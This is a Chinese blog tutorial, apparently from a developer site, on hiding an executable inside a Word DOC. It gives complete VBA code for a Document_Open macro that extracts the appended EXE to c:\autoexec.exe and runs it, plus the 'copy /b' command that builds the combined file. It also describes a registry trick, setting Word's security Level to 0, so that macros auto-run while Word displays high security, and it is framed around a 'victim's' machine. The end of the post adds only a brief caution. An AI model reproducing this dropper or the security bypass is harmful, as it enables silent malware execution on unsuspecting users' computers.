`
xujinquan19
  • 浏览: 146800 次
  • 性别: Icon_minigender_1
  • 来自: 广州
社区版块
存档分类
最新评论

EXE文件转变DOC文件格式的方法

阅读更多
这种转换并不是文件格式上的变化,只不过是把一个EXE文件接在一个DOC文件的末尾而已,这个DOC文件当然就不是不同WORD的文档啦,该文档中包含了宏语句,能在运行的时候把接在自己文件末尾的EXE文件数据读取出来并运行,就造成一种假象,好象文档打开时就运行了EXE文件似的.(和文件捆绑器的原理很象啊!)


熟悉VB的朋友都知道,WORD的宏是使用VBA来编写的,具体语法和VB一样,但有些方法VB中没有,如宏病毒就是利用宏复制语句来达到感染的目的.和VB一样,我们可以在编写宏的时候调用WINDOWS API!!下面我们来介绍一下我们编写这个宏需要用到的API函数:

1)CreateFile 用于打开文件,该函数VB的声明如下:
Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByVal lpSecurityAttributes As Long, ByVal dwCreationDistribution As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplate As Long) As Long


2)CloseHandle 用于关闭被打开文件的句柄,该函数VB的声明如下:
Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long


3)ReadFile 用于从被打开文件中读取数据,该函数VB的声明如下:

Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Byte, ByVal dwNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, ByVal lpOverlapped As Long) As Long


4)WriteFile 用于把读取出的数据写入文件,该函数VB的声明如下:

Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Byte, ByVal dwNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Long) As Long


5)SetFilePoniter移动文件指针,该函数VB的声明如下:

Declare Function SetFilePointer Lib "kernel32" (ByVal hFile As Long, ByVal lDistanceToMove As Long, ByVal lpDistanceToMoveHigh As Long, ByVal dwMoveMethod As Long) As Long


6)下面是以上函数的参数声明

Public Const GENERIC_READ As Long = &H80000000

Public Const GENERIC_WRITE As Long = &H40000000

Public Const FILE_SHARE_READ As Long = 1

Public Const FILE_SHARE_WRITE As Long = 2

Public Const CREATE_NEW As Long = 1

Public Const CREATE_ALWAYS As Long = 2

Public Const OPEN_EXISTING As Long = 3

Public Const OPEN_ALWAYS As Long = 4

Public Const TRUNCATE_EXISTING As Long = 5

Public Const INVALID_HANDLE_VALUE As Long = -1

Public Const FILE_ATTRIBUTE_NORMAL As Long = &H80


好了,有了这些准备工作就可以开始了,我们运行WORD2000,打开VISUAL BASIC编辑器,新建一个模块,把上面的函数和参数声明拷进去!再回到“ThisDocument”的代码视图,选择Document Open的事件,输入一下代码:


Private Sub Document_Open()

Dim buffer(65536) As Byte

Dim h, h2, j, i, k As Long

h = CreateFile(ThisDocument.Path & "/" & ThisDocument.Name, GENERIC_READ, FILE_SHARE_READ + FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0)

‘以SHARE_READ的方式打开自身的DOC文件

h2 = CreateFile("c:\autoexec.exe", GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0)

‘新建一个EXE文件准备存放读取出来的数据.

If h = INVALID_HANDLE_VALUE Then

Exit Sub

End If

k = SetFilePointer(h, 32768, nil, 0)

‘把文件指针移动到DOC文件与EXE文件交界处.

Do

i = ReadFile(h, buffer(0), 65536, j, 0)

i = WriteFile(h2, buffer(0), j, j, 0)

Loop Until j < 65536

CloseHandle (h)

CloseHandle (h2)

Shell "c:\autoexec.exe"

‘运行EXE文件

End Sub

这样宏就编写好了,注意的地方就是上面SetFilePointer函数的使用部分:32768是你编写完宏保存好的DOC文件的文件大小,不一顶就是32768哦,大家注意!


大家可能有疑问,如何把EXE文件接到DOC文件后面呢?很简单,把你要接的EXE放到和这个DOC文件同一个目录下.运行DOC命令:


copy /b xxxx.doc + xxxxx.exe newdoc.doc


这样就可以了~~~.当你打开这个NEWDOC.DOC的时候,宏就会把后面的EXE文件读出来并保存在C:\AUTOEXEC.EXE中,然后运行,是不是很恐怖啊!不过这需要你的WORD2000安全度为最低的时候才能实现,关于这个安全度的问题,我们又发现了微软的小BUG,大家看看注册表中这个键:


HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security 中的

Level值.当安全度是3(高)的时候,WORD不会运行任何的宏,2(中)的时候WORD会询问你是否运行宏,1(低)的时候WORD就会自动运行所有的宏!但很容易就被发现安全度被设为低了,聪明的你一定想到如果这个值变为0的时候会怎么样!!??对了!如果设为0的话,WORD里面就会显示安全度为高,但却能自动运行任何的宏!!是不是很夸张??和注册表编辑器的后门一样这都是MS的后门吧?


如果要受害人的机器接受你的DOC文件又能顺利运行,最重要就是把WORD的安全度在注册表中的值改为0,怎么改??方法太多了吧,单是IE的恶意代码能实现的都太多了,另外,如果网页上连接上是DOC的话,IE也会自动下载该DOC文件!危险的MS啊!!


这个算不算漏洞我不敢说,但防范真的很难,除非一天到晚监视着注册表,或者不用WORD?太消极了吧,最重要的是小心防范,陌生人的东西千万不要收!包括非EXE文件,我们现在发现了DOC文件能隐藏EXE文件,也会有人发现其他文件能隐藏EXE,所以大家千万要小心.

分享到:
评论

相关推荐

    PPT中插入各种格式的视频文件的方法.doc

    四、exe 格式视频文件的插入方法 * 右单击要插入到的幻灯片,在弹出的快捷菜单中选择“超”,然后选择要插入的 EXE 视频文件。 五、rm、ra、rmvb 等视频文件的插入方法 * rm、rmvb 等视频文件可以通过格式转换...

    vue+el_upload实现文件上传的方式.doc

    首先,我们需要在Vue.js组件中定义一个上传文件的方法。假设我们有一个名为`uploadFile`的变量,其中包含了要上传的文件数据。然后,我们可以使用axios的`post`方法来发送POST请求,并将文件数据传递给服务器端。 `...

    pdf转各种格式文件

    扫描功能将允许你通过该软件直接将纸质文件转变为PDF文档。另外,软件使用非常简单,具有功能强大所见即所得(WYSIWYG )用户界面。软件还支持直接将Word转换成PDF格式和 Excel格式。操作简单,转换效果非常不错,...

    Andriod平台下的文件共享及其安全技术研究与实现.doc

    对等网络的出现改变了文件共享方式,使文件传输开始从传统的服务器转发向对等节点直接传输转变。随着智能手机计算能力越来越强,人们希望利用手机可以更快捷高效地工作。其中搭载Android系统的智能手机发展最为迅速...

    Solid Converter PDF(快速将PDF转换成Word文档)v7.1 中文破解版

    扫描功能将允许你通过该软件直接将纸质文件转变为PDF文档。另外,软件使用非常简单,具有功能强大所见即所得(WYSIWYG )用户界面。软件还支持直接将Word转换成PDF格式和 Excel格式。操作简单,转换效果非常不错,...

    SPSS期末复习笔记(注释).doc

    * 输出文件 *.spo:允许直接加以编辑或转贴到其他编辑软件,SPSS 16.0 版之后将输出文件的默认格式改为 *.spv 数据处理 * 数据清洗:多余重复的数据筛选清楚,将确实的数据补充完整,将错误的数据纠正或删除 * ...

    Solid Converter PDF 7.1.934简繁破解版

    扫描功能将允许你通过该软件直接将纸质文件转变为PDF文档。 另外,软件使用非常简单,具有功能强大所见即所得(WYSIWYG )用户界面。 软件还支持直接将Word转换成PDF格式和 Excel格式。 操作简单,转换效果非常不错...

    PDF转换成word工具

    扫描功能将允许你通过该软件直接将纸质文件转变为PDF文档。 另外,软件使用非常简单,具有功能强大所见即所得(WYSIWYG )用户界面。 软件还支持直接将Word转换成PDF格式和 Excel格式。 操作简单,转换效果非常不错...

    ExcelVBA程序设计.doc

    23.操作文件和文件夹的时髦方法 162 24.使用WSH获取文件信息 164 25.FILESYSTEMOBJEC的方法和属性 165 26.对象FILE的属性 168 27.文件夹对象属性 169 28.驱动器对象属性 169 29.使用WSH创建文本文件 170 30.使用WSH...

    PDF转WORD/pdf转doc Solid Converter PDF v9.0注册版part2

    扫描功能将允许你通过该软件直接将纸质文件转变为PDF文档。另外,软件使用非常简单,具有功能强大所见即所得(WYSIWYG )用户界面。软件还支持直接将Word转换成PDF格式和 Excel格式。操作简单,转换效果非常不错,...

    PDF转WORD/pdf转doc Solid Converter PDF v9.0注册版part1

    扫描功能将允许你通过该软件直接将纸质文件转变为PDF文档。另外,软件使用非常简单,具有功能强大所见即所得(WYSIWYG )用户界面。软件还支持直接将Word转换成PDF格式和 Excel格式。操作简单,转换效果非常不错,...

    多媒体计算机技术试题及答案.doc

    MP3代表的含义(B) A、一种视频格式 B、一种音频格式 C、一种网络协议 D、软件的名称 2. 超文本标记语言是指 B A、 WWW B、 HTTL C、 HTML D、 VRML 3. CD-ROM是指 B A、数字音频 B、只读存储光盘 C、交互光盘 D、...

    快速将PDF转换成Word文档工具Solid Converter PDF v7.1 中文版.zip

    Solid Converter PDF 是一款功能强大的PDF格式转换软件,允许用户将PDF转换为Word,Excel,Html,Text等格式,并具有强有力的PDF创建、PDF编辑、PDF扫描与存档功能,扫描功能将允许你通过该软件直接将纸质文件转变为...

    matlab曲线的颜色代码-help2doc:将MATLAB源文件转换为各种文档格式

    转变 目的 -h,--help 显示此帮助消息并退出 -w,--web 格式化页面以进行在线Web查看 -M,-doc 格式化Matlab帮助浏览器的页面 -l,-latex 格式化页面以使用LaTeX创建 -m,--markdown 格式化页面以使用MarkDown创建 -...

    无损检测课后习题答案.doc

    本资源摘要信息是基于《无损检测课后习题答案.doc》文件,旨在总结无损检测领域的重要知识点。 超声波的特点和适用范围 超声波的特点包括方向性好、穿透能力强、能量高、遇到界面时将产生反射、折射和波型转变,对...

    初中数学创新教学论文4篇.doc

    本资源摘要信息是根据初中数学创新教学论文4篇.doc文件生成的相关知识点。 一、初中数学教学的创新策略 初中数学教学的创新策略是指教师在教学过程中所采用的新颖、有趣、实效的教学方法和手段。这些策略的目的是...

    c#开发opcserver例子(内附源代码)

    经常使用的函数在工程中已经定义并使用.WTOPCSVRDLL使用说明中文.doc中,介绍的是VB中WtOPCSvr的使用方法.大家可以把VB的转变成C#的.我的工程中,已经给大家做了示例. 所有的文件:源码,dll文件,说明文件,都包含在...

    2018年奥鹏计算机应用基础答案.doc

    文件型病毒传染的对象主要是.COM和.EXE类型的文件。 二、计算题(每小题8分,共16分) 1.设汉字点阵为32×32,那么100个汉字的字形码信息需占用多少字节? 解:32×32÷8×100=12800 100个汉字的字形码信息需占用 ...

    多媒体技术发展趋势.doc

    数字化 技术将文件处理带入了新的领域,让人们可以用更快的速度生产文件,用更便捷的方式 修改图像和文件,利用网络通讯把图像和文件迅速地传到四面八方。经过数字压缩,从 根本上解决了录像带资源长期保存的问题。...

    专题资料(2021-2022年)《转变作风求真务实推进工商行政管理工作科学发展》.doc

    教育资料

Global site tag (gtag.js) - Google Analytics